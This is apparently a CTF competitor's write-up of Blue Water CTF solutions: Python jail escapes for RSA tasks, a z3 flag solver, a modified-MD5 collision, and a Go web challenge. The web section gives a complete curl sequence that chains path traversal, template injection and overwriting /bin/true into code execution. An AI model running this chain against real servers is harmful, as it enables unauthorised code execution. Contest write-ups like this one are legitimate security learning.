I competed in the Blue Water CTF as an individual and placed 12th.

Misc
RSAjail-3
from subprocess import Popen, PIPE, DEVNULL from Crypto.Util.number import getPrime from secret import fname, flag import time, string, secrets, os def keygen(): pr = Popen(['python3', '-i'], stdin=PIPE, stdout=DEVNULL, stderr=DEVNULL, text=True, bufsize=1) p, q = getPrime(1024), getPrime(1024) N, e = p * q, 0x10001 m = secrets.randbelow(N) c = pow(m, e, N) pr.stdin.write(f"{(N, p, c) = }\n") pr.stdin.write(f"X = lambda m: open('{fname}', 'w').write(str(m))\n") # X marks the spot! return pr, m def verify(pr, m, msg): time.sleep(1) assert int(open(fname, 'r').read()) == m os.remove(fname) pr.kill() print(msg) # Example! pr, m = keygen() example = [ "q = N // p", "phi = (p - 1) * (q - 1)", "d = pow(0x10001, -1, phi)", "m = pow(c, d, N)", "X(m)" ] for code in example: pr.stdin.write(code + '\n') verify(pr, m, "I showed you how RSA works, try yourself!") # Your turn! pr, m = keygen() while code := input(">>> "): if (len(code) > 3) or any(c == "\\" or c not in string.printable for c in code): print('No hack :(') continue pr.stdin.write(code + '\n') verify(pr, m, flag)
The RSA variables N, p, c are defined in the Python interpreter. The goal is to get the value of m using the given variables and call X(m). The constraints are that we can only use the letter in string.printable except \ and the length of each line of the input should be less than 3.
In the Python interpreter, I found that I can use a technique like this.
x=( expression )
Here is my solution.
q=( N // p) x=( ( p-1 )*( q-1 )) e=( 2** 16+ 1) d=( pow (e, -1, x)) m=( pow (c, d, N)) X( m)
flag: bwctf{Lmao_pow_function_is_too_powerful...Time_to_ban_it!!!!}
RSAjail-1 / RSAjail-2
When I slept after solved RSAjail-3 and woke up, I found that the tasks RSAjail-1 and RSAjail-2 are released.
The constraints became stricter. The length of each line of the input should be less than 2 (in RSAjail-2) or 1 (in RSAjail-1).
I dicided to solve RSAjail-1 first and then solve RSAjail-2 in the same code.
I realized that the variable _ means the result of the last evaluation in the Python interpreter (see Python docs).
First I evaluate [0,0,0,0,0,0,0,0,0,0] and make able to use 10 variables from _[0] to _[9].
Then I created function f(idx, s) which generates code to replace _[idx] with s.
I also created the functions twopow(x), modinv(a) and div(x, y).
twopow(x) generates the code to compute 2**x using the repeated squaring algorithm.
modinv(a) produces the code to compute the modular inverse of a in mod MOD (which isn't equal to N) using the extended Euclidean algorithm.
div(x, y) generates the code to compute x // y using modinv(a).
Finally, I generated the code to calculate the value of m and call X(m).
I set MOD to (prime) because
MOD is greater than all the quotients of the divisions.
Here is my solution.
def f(idx, s): if idx == 0: return f"([{s}]+_[1:])" if idx == 9: return f"(_[:9]+[{s}])" else: return f"(_[:{idx}]+[{s}]+_[{idx+1}:])" def twopow(x): res = "" res += f(8, "1") res += f(9, "2") while x: if x & 1: res += f(8, "_[8]*_[9]") x >>= 1 res += f(9, "_[9]*_[9]") return res MOD = 2**2032 + 225 def modinv(a): res = "" m = MOD - 2 res += f"(_[:8]+[1,{a}])" while m: eight = "_[8]" nine = "_[9]" if m & 1: eight = "_[8]*_[9]%_[0]" m >>= 1 nine = "_[9]*_[9]%_[0]" res += f"(_[:8]+[{eight},{nine}])" return res def div(x, y): res = "" res += f(6, "0") res += f(7, x) res += f(7, f"_[7]-(_[7]%{y})") res += modinv(y) res += f(6, f"(_[7]*_[8])%_[0]") return res res = "[0,0,0,0,0,0,0,0,0,0]" res += twopow(2032) res += f(0, "_[8]+5*5*9") # _[0] = 2**2032 + 225 = MOD res += div("N", "p") # _[6] = q res += f(5, "(p-1)*(_[6]-1)") # _[5] = phi res += twopow(16) # _[8] = 2^16 res += f(4, "_[8]") # _[4] = 2^16 res += f(4, "_[4]+1") # _[4] = 2^16+1 = a res += f(3, "_[5]") # _[3] = phi = b # modinv(_[4],_[3]=_[5]) res += f(1, "1") # u res += f(2, "0") # v for i in range(15): res += div("_[4]", "_[3]") # _[6] = a // b res += f(6, "_[6]*(_[3]>0)") # check 0 # a = a % b # u = u - t*v res += "([_[0],_[2],_[1]-_[6]*_[2],_[4]-_[6]*_[3],_[3]]+_[5:])" res += f(1, "(_[1]+_[2])%_[5]") # calc pow(c,_[1],N) res += f(2, "1") res += f(3, "c") res += f(4, "1") for i in range(2048): res += f(5, "((_[4]&_[1])>0)") res += f(2, "(_[2]*(_[3]*(_[5])+(1-(_[5]))))%N") res += f(3, "(_[3]*_[3])%N") res += f(4, "_[4]*2") res += "(X(_[2]))" res2 = "" for i in res: res2 += i res2 += "\n" print(res2)
flag for RSAjail-1: bwctf{Did_you_have_fun_with_only_one_variable?_Good_thing_*tuple*_exists_UwU}
flag for RSAjail-2: bwctf{:=_is_called_the_walrus_operator_I_assume_it_was_very_helpful}
Web
Sandevistan
This application is written in Go and the goal is to execute the binary /readflag in the server.
This challenge is composed of a lot of code, but the important functions are as follows.
func (s *Server) cwHandlePost(w http.ResponseWriter, r *http.Request){ err := r.ParseForm() if err != nil { http.Error(w, err.Error(), http.StatusBadRequest) return } ue := checkForm(r) // The rest is left out because it's not important } func checkForm(r *http.Request) *models.UserError { var ue *models.UserError ctx := r.Context() username, exists := r.Form["username"] if !exists { ue = &models.UserError{ Value: "NOUSER", Filename: "nouser", Ctx: ctx, } return ue } ctx = context.WithValue(ctx, "username", username[len(username)-1]) cwName, exists := r.Form["name"] if !exists { ue = utils.ErrorFactory(ctx, "CyberWare name doesn't exist", username[len(username)-1]) return ue } ue = utils.AlphaNumCheck(ctx, cwName[0]) return ue } func AlphaNumCheck(ctx context.Context, t string) *models.UserError { if !regexp.MustCompile(`^[a-zA-Z0-9]*$`).MatchString(t) { v := fmt.Sprintf("ERROR! Invalid Value: %s\n", t) username := ctx.Value("username") regexErr := ErrorFactory(ctx, v, username.(string)) return regexErr } return nil } func ErrorFactory(ctx context.Context, v string, f string) *models.UserError { filename := "errorlog/" + f UErr := &models.UserError{ v, f, ctx, } file, _ := os.OpenFile(filename, os.O_RDWR|os.O_CREATE, 0644) defer file.Close() file.WriteString(v) return UErr }
The ErrorFactory function has a path traversal vulnerability. We can overwrite the file tmpl/user.html by sending a POST request with the parameter username=../tmpl/user.html&name=(payload) because it does not check if the user with the given username exists in this flow.
Then I overwrite the file tmpl/user.html and cause SSTI and misuse the following functions.
func (s *Server) handleUserGet(w http.ResponseWriter, r *http.Request) { u, err := s.GetUser(r.FormValue("username")) if err != nil { http.Error(w, "Username not found", http.StatusNotFound) return } if u.Name == "NOUSER" { http.Redirect(w, r, "/", http.StatusFound) } utils.RenderTemplate(w, "/tmpl/user", u) } func (u *User) SerializeErrors(data string, index int, offset int64) error { fname := u.Errors[index] if fname == nil { return errors.New("Error not found") } f, err := os.OpenFile(fname.Filename, os.O_RDWR, 0) if err != nil { return errors.New("File not found") } defer f.Close() _, ferr := f.WriteAt([]byte(data), offset) if ferr != nil { return errors.New("File error writing") } return nil } func (u *User) UserHealthcheck() ([]byte, error) { cmd := exec.Command("/bin/true") output, err := cmd.CombinedOutput() if err != nil { return nil, errors.New("error in healthcheck") panic(err) } return output, nil }
The handleUserGet function evaluates the template tmpl/user.html with the user object.
Then we can call SerializeErrors in the user object and write the overwrite file to /bin/true.
Finally, we can call UserHealthcheck in the user object and run /bin/true.
Here is my solution.
curl -X POST localhost:29884/user -d "username=abc" # create user `abc` curl -X POST localhost:29884/cyberware -d 'username=../tmpl/user.html&name={{ .NewError "hoge" "/bin/true" }}' curl localhost:29884/user?username=abc curl -X POST localhost:29884/cyberware -d 'username=../tmpl/user.html&name={{ .SerializeErrors "#!/bin/sh\n" 0 0 }}' curl localhost:29884/user?username=abc curl -X POST localhost:29884/cyberware -d 'username=../tmpl/user.html&name={{ .SerializeErrors "/readflag\nexit\n" 0 10 }}' curl localhost:29884/user?username=abc curl -X POST localhost:29884/cyberware -d 'username=../tmpl/user.html&name={{ .UserHealthcheck }}' curl localhost:29884/user?username=abc
flag: bwctf{YoU_kNoW_yOu_d1dnt_l0s3_Ur_53Lf-coNtR0L._LEt'5_start_at_the_r4inB0w}
Rev
maybe Checker
The reversing part is just a matter of mind.
There are many functions, and one of them is called at random when the program runs.
Each function checks a condition, and the flag is the string that meets all the conditions.
Then I used z3 to get the flag. (The o variables are the offsets when the functions are called)
from z3 import * xs = [BitVec("x%d" % i, 32) for i in range(0x30)] s = Solver() for i in range(0x30): s.add(xs[i] >= 0x2D) s.add(xs[i] <= 0x7E) # 401210 o = 0 s.add(xs[o] == ord("b")) s.add(xs[o + 1] == ord("w")) s.add(xs[o + 2] == ord("c")) s.add(xs[o + 3] == ord("t")) s.add(xs[o + 4] == ord("f")) s.add(xs[o + 5] == ord("{")) s.add(xs[o + 0x2F] == ord("}")) # 401240 o = 0x08 s.add(xs[o + 3] == ord("-")) s.add(xs[o + 9] == ord("-")) s.add(xs[o + 0xF] == ord("-")) s.add(xs[o + 0x15] == ord("-")) s.add(xs[o + 0x1B] == ord("-")) s.add(xs[o + 0x21] == ord("-")) # 401270 o = 0x5 s.add(xs[o + 0xD] < xs[o + 0xE]) # 401280 o = 0x4 s.add(xs[o + 0x1E] ^ xs[o + 2] == 100) # 401290 o = 0x4 s.add(xs[o + 0xE] < xs[o + 0x11]) # 4012a0 o = 0x22 s.add(xs[o + 8] * xs[o + 2] == 0x1DE6) # 4012c0 o = 0x04 s.add(xs[o + 5] < xs[o + 0x20]) # 4012d0 o = 0x7 s.add(xs[o + 0x1E] < xs[o + 0xC]) # 4012e0 o = 0x7 s.add(xs[o + 0xC] == xs[o + 0x1F]) # 4012f0 o = 0xD s.add(xs[o] * xs[o + 0xE] == 0xD59) # 401310 o = 0x17 s.add(xs[o + 3] < xs[o + 1]) # 401320 o = 0x17 s.add(xs[o + 7] < xs[o + 0xD]) # 401330 o = 0xB s.add(xs[o + 0x15] < xs[o + 8]) # 401340 o = 0x6 s.add(xs[o + 0x1C] + xs[o + 0x22] == 0x67) # 401360 o = 0x9 s.add(xs[o + 0xB] ^ xs[o + 0xA] == 0x66) # 401370 o = 0x13 s.add(xs[o + 0x13] ^ xs[o + 0x1] == 0x66) # 401380 o = 0x16 s.add(xs[o + 0xF] + xs[o + 0x17] == 0x85) # 4013a0 o = 0x2 s.add(xs[o + 0xA] + xs[o + 0x29] == 0x92) # 4013c0 o = 0x6 s.add(xs[o + 0x4] + xs[o + 0x28] == 0x7E) # 4013e0 o = 0x15 s.add(xs[o + 0x17] < xs[o + 0x7]) # 4013f0 o = 0x6 s.add(xs[o + 2] < xs[o + 0x20]) # 0x401400 o = 0x15 s.add(xs[o + 0xD] ^ xs[o + 5] == 0x61) # 0x401410 o = 0x10 s.add(xs[o + 0x1A] ^ xs[o + 0x12] == 0x65) # 0x401420 o = 0x6 s.add(xs[o + 2] < xs[o + 0x1C]) # 0x401430 o = 0x8 s.add(xs[o] == xs[o + 10]) # 0x401440 o = 0x2 s.add(xs[o + 0xA] * xs[o + 0x13] == 0x1A2B) # 0x401460 o = 0xD s.add(xs[o + 0x12] ^ xs[o + 0xC] == 0x7B) # 0x401470 o = 0x2 s.add(xs[o + 0xE] ^ xs[o + 0x4] == 0x15) # 0x401480 o = 0xA s.add(xs[o + 5] < xs[o + 0x1E]) # 0x401490 o = 0x9 s.add(xs[o + 0x16] ^ xs[o + 0x15] == 0xE) # 0x4014a0 o = 0xC s.add(xs[o + 0xD] * xs[o + 0x21] == 0x10EF) # 0x4014c0 o = 0x4 s.add(xs[o + 0x1B] ^ xs[o + 0xC] == 0xA) # 0x4014d0 o = 0x18 s.add(xs[o + 0x16] ^ xs[o + 2] == 0x1C) # 0x4014e0 o = 0x0 s.add(xs[o + 0x2A] < xs[o + 0x15]) # 0x4014f0 o = 0x3 s.add(xs[o + 0x1E] < xs[o + 0xB]) # 0x401500 o = 0x1 s.add(xs[o + 0xE] == xs[o + 0x1F]) # 0x401510 o = 0x8 s.add(xs[o + 0xE] * xs[o + 0x12] == 0x10A8) # 0x401530 o = 0x3 s.add(xs[o + 0xF] < xs[o + 0x13]) # 0x401540 o = 0x0 s.add(xs[o + 0xE] + xs[o + 0xF] == 0x84) # 0x401560 o = 0x5 s.add(xs[o + 0x5] * xs[o + 0x1C] == 0xF00) # 0x401580 o = 0x16 s.add(xs[o + 0x2] + xs[o + 0xC] == 0x87) # 0x4015a0 o = 0x8 s.add(xs[o + 0xE] + xs[o + 0x11] == 0x67) # 0x4015c0 o = 0x8 s.add(xs[o + 0x1] * xs[o + 0xC] == 0xD59) # 0x4015e0 o = 0xB s.add(xs[o + 0x23] < xs[o + 0x8]) # 0x4015f0 o = 0x6 s.add(xs[o + 0x4] + xs[o + 0x16] == 0x84) # 0x401610 o = 0x2 s.add(xs[o + 0x19] + xs[o + 0x1C] == 0x89) # 0x401630 o = 0x9 s.add(xs[o + 0x5] ^ xs[o + 0x3] == 0x19) # 0x401640 o = 0x1 s.add(xs[o + 0x13] * xs[o + 0x2A] == 0xDBF) # 0x401660 o = 0x1C s.add(xs[o + 0x4] * xs[o + 0x6] == 0x990) # 0x401680 o = 0x1 s.add(xs[o + 0xe] + xs[o + 0x26] == 0x78) # 0x4016a0 o = 0x7 s.add(xs[o + 0x6] * xs[o + 0x17] == 0xdf2) # 0x4016c0 o = 0x17 s.add(xs[o + 0x1] + xs[o + 0x15] == 0x9a) # 0x4016e0 o = 0x11 s.add(xs[o + 0xb] ^ xs[o + 0x3] == 0x67) # 0x4016f0 o = 0xA s.add(xs[o + 0x8] + xs[o + 0xf] == 0x64) # 0x401710 o = 0x6 s.add(xs[o + 0x1] * xs[o + 0xF] == 0x1773) # I didn't implement the following constraints because they are not necessary to recover the flag. # 0x401730 o = 0x11 # 0x401740 o = 0x6 # 0x401750 o = 0x9 # 0x401760 o = 0x6 # 0x401770 o = 0xA # solve s.check() m = s.model() print(m) flag = "".join([chr(m[x].as_long()) for x in xs]) print(flag)
flag: bwctf{WE1C0-M3T0B-1U3W4-T3RCT-FH0P3-Y0UH4-VEFUN}
Crypto
MD5.01
import math # MD5 Implementation from https://rosettacode.org/wiki/MD5/Implementation#Python rotate_amounts = [7, 12, 17, 22, 7, 12, 17, 22, 7, 12, 17, 22, 7, 12, 17, 22, 5, 9, 14, 20, 5, 9, 14, 20, 5, 9, 14, 20, 5, 9, 14, 20, 4, 11, 16, 23, 4, 11, 16, 23, 4, 11, 16, 23, 4, 11, 16, 23, 6, 10, 15, 21, 6, 10, 15, 21, 6, 10, 15, 21, 6, 10, 15, 21] constants = [int(abs(math.sin(i+1)) * 2**32) & 0xFFFFFFFF for i in range(64)] init_values = [0x67452301, 0xefcdab89, 0x98badcfe, 0x10325476] functions = 16*[lambda b, c, d: (b & c) | (~b & d)] + \ 16*[lambda b, c, d: (d & b) | (~d & c)] + \ 16*[lambda b, c, d: b ^ c ^ d] + \ 16*[lambda b, c, d: c ^ (~b | d)] index_functions = 16*[lambda i: i] + \ 16*[lambda i: (5*i + 1)%16] + \ 16*[lambda i: (3*i + 5)%16] + \ 16*[lambda i: (7*i)%16] def left_rotate(x, amount): x &= 0xFFFFFFFF return ((x<<amount) | (x>>(32-amount))) & 0xFFFFFFFF def md5(message): message = bytearray(message) #copy our input into a mutable buffer orig_len_in_bits = (8 * len(message)) & 0xffffffffffffffff message.append(0x80) while len(message)%64 != 56: message.append(0) message += orig_len_in_bits.to_bytes(8, byteorder='little') hash_pieces = init_values[:] for chunk_ofst in range(0, len(message), 64): a, b, c, d = hash_pieces chunk = message[chunk_ofst:chunk_ofst+64] for i in range(64): f = functions[i](b, c, d) g = index_functions[i](i) to_rotate = a + f + constants[i] + int.from_bytes(chunk[4*g:4*g+4], byteorder='little') new_b = (b + left_rotate(to_rotate, rotate_amounts[i])) & 0xFFFFFFFF a, b, c, d = d, new_b, b, c for i, val in enumerate([a, b, c, d]): hash_pieces[i] += val hash_pieces[i] &= 0xFFFFFFFF return sum(x<<(32*i) for i, x in enumerate(hash_pieces)) def main(): try: msg1 = bytes.fromhex(input('m1 > ')) msg2 = bytes.fromhex(input('m2 > ')) assert msg1 != msg2 h1 = md5(msg1) h2 = md5(msg2) if h1 == h2: print(open('./flag', 'r').read()) else: print(":(") except: print(":( :(") if __name__ == "__main__": main()
The goal seems to be to find two different messages that have the same MD5 hash, but in fact the MD5 implementation is modified.
original:
16*[lambda b, c, d: c ^ (b | ~d)]
modified:
16*[lambda b, c, d: c ^ (~b | d)]
I used fastcoll and patched the MD5 implementation to find the flag.
original: inline uint32 II(uint32 b, uint32 c, uint32 d) { return c ^ (b | ~d); } modified: inline uint32 II(uint32 b, uint32 c, uint32 d) { return c ^ (~b | d); }
msg1: f843ff9326389c212779f04524887fe8d45246a9e4563f7924b63ffa670e3d0c82cbcb07ee6e2dfd6f1ce73cd02bd415ae9b78964c0dc666d35ce6720c64888905e3e0905866d2c3e31e1ea2144b7e7145146ca8845992f8abb3305f176088d6cbeb4244afc2917c3b01469ce973f84df0e2977056a695fe21426ed883c324cc
msg2: f843ff9326389c212779f04524887fe8d4524629e4563f7924b63ffa670e3d0c82cbcb07ee6e2dfd6f1ce73cd0abd415ae9b78964c0dc666d35ce6f20c64888905e3e0905866d2c3e31e1ea2144b7e7145146c28845992f8abb3305f176088d6cbeb4244afc2917c3b01469ce9f3f74df0e2977056a695fe21426e5883c324cc
flag: bwctf{i_never_said_its_the_same_md5_function_:)}